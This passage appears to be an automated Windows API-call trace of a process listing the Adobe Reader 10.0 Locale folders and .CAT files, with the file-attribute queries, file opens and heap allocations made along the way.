ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro_RO", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru_RU", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk_SK", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl_SI", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv_SE", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr_TR", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d795840, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832a21c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk_UA", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0081.599] GetLastError () returned 0x12 [0081.599] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0081.599] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.599] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca_ES", cAlternateFileName="")) returned 1 [0081.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.600] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.600] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1259010 [0081.601] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1259010, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1259010, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1259010) returned 1 [0081.601] NtClose (Handle=0x174) returned 0x0 [0081.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0081.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0081.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0081.602] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f80 [0081.603] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.603] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CAT", cAlternateFileName="")) returned 1 [0081.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202358 [0081.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12680a8 [0081.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.605] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CAT", cAlternateFileName="")) returned 1 [0081.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202378 [0081.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12681b0 [0081.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6880) returned 0x126d560 [0081.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0081.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.607] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81efec40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.CAT", cAlternateFileName="")) returned 1 [0081.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202398 [0081.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12682b8 [0081.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.608] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.CAT", cAlternateFileName="")) returned 1 [0081.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12023b8 [0081.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12683c0 [0081.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.609] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.CAT", cAlternateFileName="")) returned 1 [0081.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12023d8 [0081.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12684c8 [0081.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.611] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.CAT", cAlternateFileName="")) returned 1 [0081.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12023f8 [0081.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12685d0 [0081.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.612] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.CAT", cAlternateFileName="")) returned 1 [0081.612] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202418 [0081.613] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12686d8 [0081.613] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.613] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CAT", cAlternateFileName="")) returned 1 [0081.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202438 [0081.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12687e0 [0081.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.615] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CAT", cAlternateFileName="")) returned 1 [0081.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202458 [0081.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12688e8 [0081.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.616] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CAT", cAlternateFileName="")) returned 1 [0081.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202478 [0081.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12689f0 [0081.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.617] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x833145e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CAT", cAlternateFileName="")) returned 1 [0081.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1202498 [0081.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1268af8 [0081.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.619] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db99d60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.CAT", cAlternateFileName="")) returned 1 [0081.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12024b8 [0081.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1268c00 [0081.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.620] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, 